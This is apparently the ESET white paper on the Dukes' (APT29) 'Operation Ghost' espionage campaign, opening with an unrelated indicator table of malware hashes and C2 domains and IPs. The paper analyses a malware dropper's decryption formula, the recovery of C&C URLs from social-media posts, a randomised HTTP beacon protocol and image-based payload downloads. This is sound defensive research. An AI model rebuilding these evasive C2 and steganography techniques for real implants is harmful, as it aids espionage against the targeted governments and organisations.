c2229a463637433451a3a50ccf3c888da8202058f5022ffd2b00fc411b395b79 SHA256 hash ZxShell service DLL (AudioSdk.dll) ae9c39e0d9a0c0ae48a72cb10521d2f3 hash Malicious driver associated with ZxShell (autochk.sys) 2e80926d67ea68acb1df441be5ee1f2d86e7f92b SHA1 hash Malicious driver associated with ZxShell (autochk.sys) b28c024db80cf3e7d5b24ccc9342014de19be990efe154ba9a7d17d9e158eecb SHA256 hash Malicious driver associated with ZxShell (autochk.sys) language.wikaba.com Domain name ZxShell C2 server solution.instanthq.com Domain name ZxShell C2 server 40cdd3cfe86c93872b163fb3550f47f6 hash Gh0st RAT installer (T.exe) ad2b27ea2fde31b1cc5104c01a21b22fef507c3d SHA1 hash Gh0st RAT installer (T.exe) 9a1437edd0493ff615a77b9ee1717c5f49ab0b28d1778898f591fb803655fbc6 SHA256 hash Gh0st RAT installer (T.exe) 9c42cd7efbdfc47303d051f056c52d29 hash Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) Indicator Type Context b8aa43dc92bec864c94442e6bf8c629c3bd0fe92 SHA1 hash Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) 0b1217bd95678ca4e6f81952226a0cfd639ce4b2f7e7fce94ab177d42c5abf62 SHA256 hash Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) 06348bbe0cc839f23c2d9471cfb19de3 hash Gh0st RAT installer (Update.exe) cd7c92ac0b36a8befa1b151537fc3fcdafca8606 SHA1 hash Gh0st RAT installer (Update.exe) b43ccd5b23d348f72466612d597ad71246113a9d524c9b27e682d1f7300a0672 SHA256 hash Gh0st RAT installer (Update.exe) 43.242.35.16 address Gh0st RAT C2 server observed in April 2018 103.85.27.78 address Gh0st RAT C2 server observed in April 2018 trprivates.com Domain name SysUpdate C2 server sinkholed by CTU researchers mildupdate.com Domain name SysUpdate C2 server sinkholed by CTU researchers 43.242.35.13 address SysUpdate C2 server observed in late 2017 c8d83840b96f5a186e7bb6320e998f72 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 42e3fbff6f5576a3f4e8f941ea3dc00462d7838c SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 938f32822c1a6b1140ac0af60a06ae39011464de37c511921d8a7d9c6a69c9df SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION ef41da16fdedcc450d0cc6ca708a9222 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 714215d63b2f2d8f2caf94902af2f25452c21264 SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 0777fa4832ecf164029e23d0125b4fdc87e2f46ffc4e1badd6a45cf5be721660 SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION c25e8e4a2d5314ea55afd09845b3e886 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION e8cf3522b68a51b2aabcfc6f98b39da15a23da1d SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION Indicator Type Context 76bc063f8f348a202f92faac0c36f1a0a122f9b3568342abcd97651be7adec08 SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 88a27758f3066dd4da18983a005ddc20 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 1f9c979cbab9ff2519aa3bf3006a752177f4d8c6 SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 24a7e226f14fb86275b423d63d0332bfb95e261532f0667517c01da9d2bc51b3 SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 17acc1d983dde32b5bcde9c9624848b0 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION a03b14cac23dcfa2b2e12d5a8e53959d5a2e8fa2 SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 3f69c0e7392bc6441a308281b07627797613d89666a5c9b22cb104edf359c46b SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION a13772805b772f374f7d709999a816d5 hash Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION fa9600f1d15e61d5f2bdb8ac0399b7f42da63a01 SHA1 hash Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION d40903560072bb777290d75d7e31a927f05924bffe00d26713c6b39e8e68ae82 SHA256 hash Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION 78142cdad08524475f710e5702827a66 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION bc20da9465a7a7f9c2d5666ea5370c6c1e988441 SHA1 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION 3cebc9161e3e964a2e7651566c5a710d0625192ddecd14cfc5a873e7bc6db96f SHA256 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION 0955e01bc26455965b682247ecb86add hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 23533c452b12131253e4e21f00ae082eba7cfdb3 SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 9d9c9c17ae4100b817a311ea0c6402e9f3eedc94741423796df3ead1375aaebf SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION d4bb5c6364c4b4a07e6bbf2177129655 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION Indicator Type Context 0689e40696a0cbecc5c3391e8b8b40d27a033186 SHA1 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION dcfc9e4077705385328133557629fffee11662b7843b34dd4e1e42404ac2e921 SHA256 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION cbb84d382724dd8adc5725dfca9b4af1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 88de66897c448229b52c2ac991ba63e14fc3276b SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 01926af0ff76607b3859734dda4b97fc55a8b8c2582982af786977929a414092 SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 8cb11e271aba3354545a77751c1e783e hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION e49833f2a4ec0422410a1c28ef58c9fc33c3a13f SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 7f16b19f22ab0a33f9bf284aa0c2a9b9a429c4f4b7b801f2d2d80440eb74437f SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 53d0db22c5abaf904d85facb70a60c8e hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION d363606e6159a786b06891227efac2164eeda7b3 SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION a941d46d6352fb2d70bba1423c4890dd5516e45d81f826900272ed14d0b678f4 SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 9814cdc7033a97fcf4f31aa377be60ba hash Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION 2d568eb8ef17529e8bb6e658a032690e0f527d24 SHA1 hash Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION 9c1c798ba8b7f6f2334dcfcb8066be05d49c2e1395f7e7c8332e42afa708f5ae SHA256 hash Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION 8b8e44bd5e4a9f7d58714ba9ca72351c hash Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate 02704ef94519eee0a57073b1e530ffea73df2a1f SHA1 hash Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate 86de90119b572620fd6a690b903c721679359cdc81f3d3327677e13539d5f626 SHA256 hash Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate Table 2. Indicators for this threat. ESET Research White papers // October 2019 OPERATION GHOST The Dukes aren t back they never left Matthieu Faou Mathieu Tartare Thomas Dupuy TABLE OF CONTENTS Executive summary . Background . . . . . . . . . . . . . . . . . . . . . . . . 4 Timeline . . . . . . . . . . . . . . . . . . . . . . . Targets . . . . . . . . . . . . . . . . . . . . . . . Tools and tactics . . . . . . . . . . . . . . . . . . . . Operation Ghost . Targets and timeline . Attribution to the Dukes . . . . . . . . . . . . . . . . . Tactics and tools . . . . . . . . . . . . . . . . . . . . 10 Operational times . . 11 Technical analysis . . . . . . . . . . . . . . . . . . . . . . 12 Compromise vector . . . . . . . . . . . . . . . . . . . 12 PolyglotDuke: the first stage . RegDuke: a first-stage implant . . . . . . . . . . . . . . . 18 . 12 MiniDuke backdoor: the second stage . . . . . . . . . . . . . 21 FatDuke: the third stage . . . . . . . . . . . . . . . . . 23 LiteDuke: the former third stage . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . Bibliography . Indicators of Compromise . . . . . . . . . . . . . . . . . . . 36 Hashes . Network . MITRE ATT&CK techniques . . . . . . . . . . . . . . . . . . . 36 LIST OF TABLES Table 1 List of parameters used to generate GET request to the C&C server . Table 2 Example of redirection from the C&C servers root URLs . . 16 Table 3 List of execution type combination and their corresponding behavior . . 18 Table 4 RegDuke Windows registry keys . Table 5 Hardcoded User-Agent . Table 6 FatDuke backdoor commands . Table 7 User-Agent strings used by LiteDuke . . 33 LIST OF FIGURES Figure 1 Dukes history timeline newly discovered items related to Operation Ghost are shaded . . . . . . . . . . . . . . . . . . . . . . Figure 2 Historical malicious email example. . Figure 3 Decoy document opened by the malicious attachment . Figure 4 Reddit post containing an encoded C&C URL . Figure 5 Timeline of Operation Ghost . Figure 6 Comparison of a custom string encryption function found in PolyglotDuke and in OnionDuke samples from 2013 . . . . . . . . . . . . . Figure 7 Summary of Operation Ghost malware platform . Figure 9 Dukes operational hours . Figure 10 Example of a public post containing an encoded C&C URL . Figure 11 C&C response with a path to an image to download . Figure 12 Communication sequence with the C&C server . . 11 . 10 . 9 . 7 . 7 Figure 13 Embedded blob format . Comparison of the same function in MiniDuke from 2014 and in MiniDuke from 2018 . . . . . . . . . . . . . . . Figure 8 . 6 . 17 Figure 14 Decompiled hash signature verification procedure . Figure 15 Public key used to verify the hash signature . Figure 16 Encrypted blob format after decryption . Figure 17 Obfuscated RegDuke sample . Figure 18 RegDuke. The path, password and salt are hardcoded in this example. . Figure 19 Decryption of RegDuke payload . Figure 20 Dropbox backdoor configuration (redacted) . Figure 22 Loop extracting a payload from the pixels of a downloaded picture . Figure 21 Example of two pictures downloaded from the Dropbox directory . . 20 . 21 Figure 23 The least significant bits of each color of each pixel are extracted to recover the hidden data . Figure 24 Comparison between a blue of value 255 and a blue of value 248 . . 22 Figure 25 Invalid digital signature added to the backdoor . Figure 26 Control flow flattening used to obfuscate the MiniDuke backdoor . . 22 . 23 Figure 27 Post request to the C&C server that looks like a regular jpeg file upload . . 23 Figure 28 FatDuke configuration data in the PE resources . Figure 29 FatDuke configuration example . . 25 Figure 30 FatDuke C&C protocol . . 26 Figure 31 Additional image tag sent by FatDuke C&C . . 27 Figure 32 C&C response including most of a valid PNG header and an encrypted command for FatDuke . Figure 33 Example of commands sent to FatDuke . Figure 34 FatDuke obfuscation String stacking . . 27 Figure 35 FatDuke obfuscation Opaque predicate . Figure 36 FatDuke obfuscation Junk function call . Figure 37 FatDuke obfuscation Junk function return value . Figure 38 FatDuke obfuscation Chromium strings . Figure 39 LiteDuke unpacking process . . 30 Figure 40 Curious phone number left by the attackers . Figure 41 Assembler used by the developer (screenshot of DIE analysis) . . 32 Figure 42 Multiple while loops instead of a backdoor switch case . . 33 Figure 43 List of LiteDuke command IDs . . 33 Figure 44 LiteDuke C&C domain, resources and parameters . . 34 Operation Ghost The Dukes aren t back they never left EXECUTIVE SUMMARY It is exceptionally rare for a well-documented threat actor, previously implicated in very high-profile attacks, to stay completely under the radar for several years. Yet, in the last three years that is what APT group the Dukes (aka APT29 and Cozy Bear) has done. Despite being well known as one of the groups to hack the Democratic National Committee in the run-up to the 2016 US election, the Dukes has received little subsequent attention. The last documented campaign attributed to them is a phishing campaign against the Norwegian government that dates back to January 2017. In this white paper, we describe how we uncovered that the Dukes had been running successful espionage campaigns while avoiding public scrutiny, thanks to stealthy communication techniques and retooling. We call these newly uncovered Dukes campaigns, collectively, Operation Ghost, and describe how the group has been busy compromising government targets, including three European Ministries of Foreign Affairs and the Washington DC embassy of a European Union country, all without drawing attention to their activities. Key points in this white paper: The Dukes never stopped their espionage activities. Operation Ghost likely started in 2013. The last known activity linked to Operation Ghost occurred in June 2019. ESET researchers identified at least three victims: all European Ministries of Foreign Affairs including the Washington DC embassy of a European Union country. The Dukes have used four new malware families in this campaign: PolyglotDuke, RegDuke, FatDuke and LiteDuke. Operation Ghost uses a previously documented Dukes backdoor: MiniDuke. The Dukes have leveraged online services such as Twitter, Imgur and Reddit to act as primary Command and Control (C&C) channels for their first-stage malware. The Dukes have used very stealthy techniques such as steganography to hide communications between compromised machines and their C&C servers. For any inquiries related to this white paper, contact us at threatintel@eset.com. BACKGROUND The Dukes, also known as APT29 and Cozy Bear, is an infamous cyberespionage group active since at least 2008. In particular, it is known for being one of the adversaries to have breached the Democratic National Committee during the 2016 US presidential election [1]. It was even featured in a joint report issued by the FBI and the Department of Homeland Security (DHS), as part of malicious cyber-activities the report dubbed Grizzly Steppe [2]. That report was published in 2017 and describes malicious activities that occurred around the presidential election of 2016. This section is a summary of the group s previously documented activities to refresh the reader s memory, since the last related publication dates from almost three years ago. Our most recent discoveries are detailed in the subsequent sections of this white paper. 2.1 Timeline Even though the group s activities are believed to have started in 2008, the first public report was released in 2013 with the analysis of MiniDuke by Kaspersky [3]. Over the next two years, multiple reports dissected the Dukes arsenal, including a comprehensive summary by F-Secure of the group s activities from 2008 to 2015 [4]. One of the most recent attacks that we can link to the Dukes is the January 2017 phishing attempt against the Ministry of Foreign Affairs, the Labour Party and the Armed Forces of Norway [5]. Since then, most security experts have believed the Dukes went dark or completely changed their arsenal to pursue their mission. Operation Ghost The Dukes aren t back they never left In November 2018, a strange phishing campaign hit dozens of different organizations in the United States, including government agencies, and think tanks. The attack leveraged a malicious Windows shortcut (a .lnk file) that bore similarities to a malicious shortcut used by the Dukes in 2016. However, that earlier sample was available in a public malware repository for many years, allowing another actor to easily conduct a false-flag operation. In addition, there is no evidence that any custom malware used only by the Dukes was employed during this attack. From FireEye s detailed analysis of the attack [6], it was not possible to make a high-confidence attribution to this threat actor. Figure 1 summarizes the important events of the Dukes history. Some activities related to Operation Ghost are also presented to help understand the overlap between all the events. 2008 2013 2013 Dukes first known activities First public report by Kaspersky Labs First known activity linked to Operation Ghost by ESET 2017 2016 August 2017 First known deployment of the RegDuke malware Grizzly Steppe report by the FBI and the DHS 2018 2019 Last known Twitter account registered by the Dukes Latest observed activity October September Newly discovered items related to Operation Ghost 2015 Attack against the US Democratic National Committee (discovered in 2016) First known deployment of the latest third-stage implant: FatDuke June Figure 1 // Dukes history timeline 2.2 Targets Over the years, it has been possible to draw the big picture of the Dukes main targets. The group is primarily interested in spying on governments either in the West or in former USSR countries. Besides governments, the group has also targeted various organizations linked to NATO, think tanks, and political parties. This targeting suggests a clear interest in collecting information allowing a better understanding of future international political decisions, which would seem of most interest to a government. Unlike other groups such as GreyEnergy [7] and TeleBots [8], it is important to note that we have never seen the Dukes engaged in cybersabotage operations. Surprisingly though, the group also has conducted spying operations outside its main focus. In 2013, Kaspersky researchers found evidence that part of the Dukes toolset had been used against drug dealers in Russia [9]. This may suggest that this toolset is not only used for collecting foreign intelligence but also for conducting LE investigations of criminal activities. Operation Ghost The Dukes aren t back they never left 2.3 Tools and tactics The Dukes group is known to be a major player in the espionage scene. It is associated with a large toolset with more than ten different malware families written in C/C++ [10], PowerShell [11], .NET [12] and Python [13]. It has also adopted living-off-the-land tactics, misusing standard IT tools such as PsExec and Windows Management Instrumentation (WMI). As mentioned before, we invite our readers to read the F-Secure summary [4] for an analysis of the earlier malware platforms used by this threat actor. Delivery The group s main initial tactic to breach a network is to send spearphishing emails that contain a link or an attachment. Figure 2 is an example of one such campaign, which occurred at the end of 2016. In order to increase the attackers chances, it is designed to be a subject of particular interest of the recipient. This is different from mass-spreading malicious email campaigns where the same email is sent to hundreds or thousands of people by crimeware actors. Figure 2 // Historical malicious email example. Source: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ When targets click on these malicious links or attachments, a .zip archive that contains a malicious, macro-enabled Word document and a decoy (as shown in Figure 3) will be downloaded. If victims then open the malicious document and enable the macro, it will then install the PowerDuke backdoor [14]. In other cases, malicious Windows shortcuts (.lnk files) have been used instead of Word documents with malicious macros. Figure 3 // Decoy document opened by the malicious attachment Operation Ghost The Dukes aren t back they never left However, this is not the only method used by the Dukes to gain initial access. In 2014, the Dukes started using two mass-spreading methods to deliver the OnionDuke implant: Trojanized pirated applications downloaded via BitTorrent A malicious TOR exit node to trojanize downloaded applications on the fly [15] [16] OnionDuke has some capabilities outside the standard espionage features, such as a Denial of Service (DoS) module, but we have not observed them used in the wild. Finally, the Dukes are also known for using multiple implants to compromise a target. It is very common to see an implant delivering another one to regain control of a system. Command and Control (C&C) The Dukes have employed several interesting tactics to hide the communications between the implants and their C&C servers, including the use of social media platforms and steganography. MiniDuke [17] and HammerDuke [12] leveraged Twitter to host their C&C URLs. In addition, they use a Domain Generation Algorithm (DGA) to generate new Twitter handles. Each time the malware generates a new handle, it fetches the Twitter page corresponding to that handle and searches the page for a specific pattern, which is the encrypted C&C URL. In CloudDuke [18], the operators leveraged cloud storage services such as OneDrive as their C&C channels. They were not the first group to use this technique, but it is generally effective for the attackers as it is harder for defenders to spot hostile connections to legitimate cloud storage services than to other suspicious or low-reputation URLs. Moreover, the Dukes like to use steganography to hide data, such as additional payloads, in pictures. It allows them to blend into typical network traffic by transferring valid images while its true purpose is to allow the backdoor to communicate with the C&C server. This technique has been described in Volexity s PowerDuke blogpost [14]. OPERATION GHOST After 2017, it was not clear how the Dukes evolved. Did they totally stop their activities? Did they fully re-write their tools and change their tradecraft? We spent months apparently chasing a ghost then, a few months ago, we were able to attribute several distinct intrusions to the Dukes. During the analysis of those intrusions, we uncovered several new malware families: PolyglotDuke, RegDuke and FatDuke. We call the Dukes campaigns using these newly discovered tools Operation Ghost. 3.1 Targets and timeline We believe Operation Ghost started in 2013 and was still ongoing as of this writing. Our research shows that the Ministry of Foreign Affairs in at least three different countries in Europe are affected by this campaign. We also have discovered an infiltration by the Dukes at the Washington, DC embassy of a European Union country. This targeting is not surprising, and it shows that the Dukes are still active in high-profile organizations. We also believe that more organizations around the world might be affected but due to the use of unique C&C infrastructure for each victim, we were not able to identify other targets. One of the first traces of this campaign is to be found on Reddit in July 2014. Figure 4 shows a message posted by one of the Dukes operators. The strange string using an unusual charset is the encoded URL of a C&C server and is used by PolyglotDuke as described in section 4.2. Operation Ghost The Dukes aren t back they never left Figure 4 // Reddit post containing an encoded C&C URL Figure 5 presents the timeline of Operation Ghost. As it is based on ESET telemetry, it might be only a partial view of a broader campaign. 2013 September First known compilation timestamp of PolyglotDuke 2014 2016 Post on Reddit containing an encoded C&C URL First known deployment in the wild of a FatDuke sample July September 2019 2019 2018 Publication of this report Latest known FatDuke sample deployed in the wild Last Twitter account registered by the Dukes October June October 2017 August First known deployment in the wild of a RegDuke sample Figure 5 // Timeline of Operation Ghost 3.2 Attribution to the Dukes It is important to note that when we describe so-called APT groups , we re making connections based on technical indicators such as code similarities, shared C&C infrastructure, malware execution chains, and so on. We re typically not directly involved in the investigations and identification of the individuals writing the malware and/or deploying it, and the interpersonal relationships between them. Furthermore, the term APT group is very loosely defined, and often used merely to cluster the abovementioned malware indicators. This is also one of the reasons why we refrain from speculation with regard to attributing attacks to nation states and such. On one hand, we noticed numerous similarities in the tactics of this campaign in comparison to previously documented ones: Use of Twitter (and other social websites such as Reddit) to host C&C URLs. Use of steganography in pictures to hide payloads or C&C communications. Use of Windows Management Instrumentation (WMI) for persistence. Operation Ghost The Dukes aren t back they never left We also noticed important similarities in the targeting: All the known targets are Ministries of Foreign Affairs. Two of the three known targeted organizations were previously compromised by other Dukes malware such as CozyDuke, OnionDuke or MiniDuke. On some machines compromised with PolyglotDuke and MiniDuke, we noticed that CozyDuke was installed only a few months before. However, an attribution based only on the presence of known Dukes tools on the same machines should be taken with a grain of salt. We also found two other APT threat actors Turla [19] and Sednit [20] on some of the same computers. On the other hand, we were able to find strong code similarities between already documented samples and samples from Operation Ghost. We cannot discount the possibility of a false flag operation; however, this campaign started while only a small portion of the Dukes arsenal was known. In 2013, at the first known compilation date of PolyglotDuke, only MiniDuke had been documented and threat analysts were not yet aware of the importance of this threat actor. Thus, we believe Operation Ghost was run simultaneously with the other campaigns and has flown under the radar until now. PolyglotDuke (SHA-1: D09C4E7B641F8CB7CC86190FD9A778C6955FEA28), documented in detail in section 4.2 uses a custom encryption algorithm to decrypt the strings used by the malware. We found functionally equivalent code in an OnionDuke sample (SHA-1: A75995F94854DEA8799650A2F4A97980B71199D2) that was documented by F-Secure in 2014 [16]. It is interesting to note that the value used to seed the srand function is the compilation timestamp of the executable. For instance, 0x5289f207 corresponds to Mon 18 Nov 2013 10:55:03 UTC. The IDA screenshots in Figure 6 show the two similar functions. PolyglotDuke OnionDuke Figure 6 // Comparison of a custom string encryption function found in PolyglotDuke and in OnionDuke samples from 2013 Similarly, the recent samples of the MiniDuke backdoor bear similarities with samples documented more than five years ago. Figure 7 is the comparison of a function in a MiniDuke backdoor listed by Kaspersky in 2014 [21] (SHA-1: 86EC70C27E5346700714DBAE2F10E168A08210E4) and a MiniDuke backdoor (SHA-1: B05CABA461000C6EBD8B237F318577E9BCCD6047) compiled in August 2018. Operation Ghost The Dukes aren t back they never left MiniDuke from 2014 MiniDuke from 2018 Figure 7 // Comparison of the same function in MiniDuke from 2014 and in MiniDuke from 2018 Given the numerous similarities between other known Dukes campaigns and Operation Ghost, especially the strong code similarities, and the overlap in time with previous campaigns, we assess with high confidence that this operation is run by the Dukes. 3.3 Tactics and tools In Operation Ghost, the Dukes have used a limited number of tools, but they have relied on numerous interesting tactics to avoid detection. First, they are very persistent. They steal credentials and use them systematically to move laterally on the network. We have seen them using administrative credentials to compromise or re-compromise machines on the same local network. Thus, when responding to a Dukes compromise, it is important to make sure to remove every implant in a short period of time. Otherwise, the attackers will use any remaining implant to compromise the cleaned systems again. Second, they have a sophisticated malware platform divided in four stages: PolyglotDuke, which uses Twitter or other websites such as Reddit and Imgur to get its C&C URL. It also relies on steganography in pictures for its C&C communication. RegDuke, a recovery first stage, which uses Dropbox as its C&C server. The main payload is encrypted on disk and the encryption key is stored in the Windows registry. It also relies on steganography as above. MiniDuke backdoor, the second stage. This simple backdoor is written in assembly. It is very similar to older MiniDuke backdoors. FatDuke, the third stage. This sophisticated backdoor implements a lot of functionalities and has a very flexible configuration. Its code is also well obfuscated using many opaque predicates. They re-compile it and modify the obfuscation frequently to bypass security product detections. Figure 8 is a summary of the malware platform of Operation Ghost. During our investigation, we also found a previously unknown (and apparently now retired) third-stage backdoor, LiteDuke, that was used back in 2015. For the sake of historical completeness, it is analyzed in section 4.6. Operation Ghost The Dukes aren t back they never left Hypothesis Initial Compromise Fetch the C&C URL Malicious document sent by email Stolen credentials & lateral movement RegDuke PolyglotDuke Online Service Stage 1 Downloads a picture from the C&C server Downloads a picture from the Dropbox account Decode, decrypt and drop Decrypt and drop MiniDuke Stage 2 Downloads a picture from the C&C server Decrypt and drop FatDuke Stage 3 Figure 8 // Summary of Operation Ghost malware platform Third, we also noticed that the operators avoid using the same C&C network infrastructure between different victim organizations. This kind of compartmentalization is generally only seen by the most meticulous attackers. It prevents the entire operation from being burned when a single victim discovers the infection and shares the related network IoCs with the security community. 3.4 Operational times When it comes to cyberespionage, it is not uncommon for the malware developers and operators to follow the standard working hours of the country where they are located. For instance, we previously showed that Sednit operators were generally working from 9 AM to 5PM in the UTC+3 time zone [20]. Previously, FireEye researchers noticed that the Dukes were also mainly operating in the UTC+3 time zone [12]. For Operation Ghost, we compiled three different types of timestamp in order to have an idea of their operational times: The time at which they uploaded C&C pictures to the Dropbox account used by RegDuke The time at which they posted encoded C&C URLs on the social media accounts used by PolyglotDuke The compilation timestamps of dozens of samples. We believe they were not tampered with, as they are consistent with what we see in ESET telemetry data. It should be noted that some of these timestamps may have been generated by an automated command system or an automated build system. Operation Ghost The Dukes aren t back they never left Figure 9 shows the distribution of the operational hours of the Dukes in the three different time zones. The distribution aligns well with working hours in a UTC+2 or UTC+3 time zone, with occasional work during the night. This might be explained by a need to work at the same time as some of their victims. Operational Hours Number of timestamps UTC +2 timezone UTC +3 timezone UTC timezone Hour Figure 9 // Dukes operational hours TECHNICAL ANALYSIS In this part, we present the technical analyses of the different malware stages used in Operation Ghost. 4.1 Compromise vector Despite having analyzed the Dukes activities in several different organizations, we were not able to find the initial compromise vector. The group is known for sending well-crafted malicious emails, but we did not find any such samples. It should also be noted that two of the three targeted organizations we identified had previously been compromised by the Dukes, mainly in 2015. As such, it is highly possible that the attackers kept control over the compromised networks during this whole period. We observed them pivoting in an already-compromised network using lateral movement tools like PsExec and stolen administrative credentials. As such, from only a few compromised machines, they are able to expand their operations. 4.2 PolyglotDuke: the first stage PolyglotDuke is a downloader that is used to download and drop the MiniDuke backdoor. As mentioned in section 3.2 and shown in Figure 6, this downloader shares several similarities with other samples from previous Dukes campaigns such as the use of Twitter to retrieve and decode its C&C server address, as well as a custom string encryption implementation. Both 32- and 64-bit versions of PolyglotDuke were observed and have similar behavior. We dubbed this downloader PolyglotDuke in reference to its use of charsets from different languages to encode the C&C addresses. Operation Ghost The Dukes aren t back they never left Dropper PolyglotDuke s dropper embeds an encrypted PolyglotDuke within a resource type named GIF with the ID 129. The resource is encrypted with the following algorithm, using the string GIF89 from the resource (which is the 5 first magic bytes of the start of the GIF header) as the key: clearText[i] = (i / 5) ^ cypherText[i] ^ aGif89[i % 5] After decryption, the DLL is written to the current working directory and executed using rundll32.exe. The custom string encryption algorithm used by the PolyglotDuke dropper is identical to the one used by PolyglotDuke, as well as other samples from previous Dukes campaigns, and is depicted in Figure 7. As mentioned in section 3.2, it s worth noting that this dropper shares a great deal of functionality with OnionDuke, such as the use of a GIF resource, the use of the same algorithm with the string GIF89 as key to decrypt the resource, and the use of the same custom encryption algorithm to encrypt the strings. C&C server address retrieval from public webpages Strings from PolyglotDuke are decrypted using two different algorithms. The string is either RC4 encrypted using the CryptDecrypt API where the key is derived from the system directory path with the drive letter removed, or using the custom encryption algorithm shown in Figure 6. An IDA Python script to decrypt these strings is provided in our GitHub repository. The C&C server address is retrieved and decoded from various public webpages such as Imgur, ImgBB or Fotolog posts, tweets, Reddit comments, Evernote public notes, etc. Several encrypted public webpage URLs are hardcoded in each sample (from three to six URLs in a single sample) and it will iterate over the hardcoded list of C&C server addresses until it is able to decode a valid C&C URL successfully. An example of a public webpage containing an encoded C&C URL is shown Figure 10. Figure 10 // Example of a public post containing an encoded C&C URL After retrieving the content of one of these webpages, PolyglotDuke parses it to find two delimiter strings and extracts the content between them. The extracted UTF-8 string uses a particular character set within a Unicode block such as Katakana [22], Cherokee [23] or Kangxi radicals [24]. Any given sample can only decode a C&C URL encoded in one of those charsets. The string is first converted to UTF-16, only the last byte of each codepoint is kept, then a custom mapping is used to transpose this to printable ASCII. The order of the characters of the resulting string is then reversed, resulting in the C&C URL. A script to decrypt the C&C URL, regardless of the Unicode range used, is provided on our GitHub repository. Operation Ghost The Dukes aren t back they never left PolyglotDuke, a multilingual downloader Katakana is a Japanese syllabary (part of the Japanese writing system), while Cherokee syllabary is used to write Cherokee (which is a Haudenosaunee language), and Kangxi radicals are components of Chinese characters. The use of these character sets from different languages is the reason we named this downloader PolyglotDuke: Katakana Cherokee Kangxi radicals Interestingly, the text from the delimiter strings usually makes sense in the context of the fake post. The decoded C&C URL points to a PHP script with which the downloader communicates using GET requests, as described in the next section. Communication with the C&C server Once the C&C server URL is decoded, the compromised computer sends HTTP GET requests with arguments using the following format: GET example.com/name. php?[random_param1]=[random_string1]&[random_param2]=[random_string2] Only the argument values are relevant here as the argument names are selected randomly from a hardcoded list. The list of argument names used is shown in Table 1. This makes the communication between PolyglotDuke and the C&C server difficult to identify because there are no obvious patterns. Additionally, the User-Agent header used to perform the GET requests is a common one: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US) List of parameters used to generate GET request to the C&C server Table 1 List of hardcoded argument names action campaign_id data extra extra_1 Format img_id Item itemId item_id mod_id mode Number Oldid option page Pflo placement Show state Term Title View Operation Ghost The Dukes aren t back they never left The GET argument values are randomly generated but the first random string in each request should comply with a constraint based on a specific integer (see below). A string will be randomly regenerated until one complies with the constraints. The digits from the string representation of the MD5 hash of the randomly generated string are summed, and then modulo 5 of this value must match a specific integer. The communication with the C&C server to retrieve a payload follows this sequence: First the communication with the C&C server is checked. The sum of the digits of the MD5 hash of the first argument modulo 5 should be equal to 4. The response of the C&C server is matched with the second random string as it will echo back this string in case of successful communication. If the communication with the C&C server is successful, a custom hash from the concatenation of the username and the volume serial number of the disk of the current directory is generated and sent twice. The modulo 5 value of the MD5 hash of the first parameters of these requests should be 0 and 2 respectively. In the response to the second request, search for strings in the last response and extract the image filename between them, if present. Figure 11 shows a C&C server response at the identification step, with a path to an image (cuteanimals12.jpg in this case). If a filename was extracted in the preceding step, the file is retrieved into the directory whose name is the unique ID sent twice at the registration step: GET example.com//cuteanimals12.jpg Figure 11 // C&C response with a path to an image to download This sequence continues until a path to a file is provided between the strings and the file downloaded. The communication steps are summarized in Figure 12. PolyglotDuke Twitter, Imgur Reddit C&C server Retrieve C&C address Communication check Echo Identification Path to file Get img Time Figure 12 // Communication sequence with the C&C server Operation Ghost The Dukes aren t back they never left Interestingly, the root URLs of the 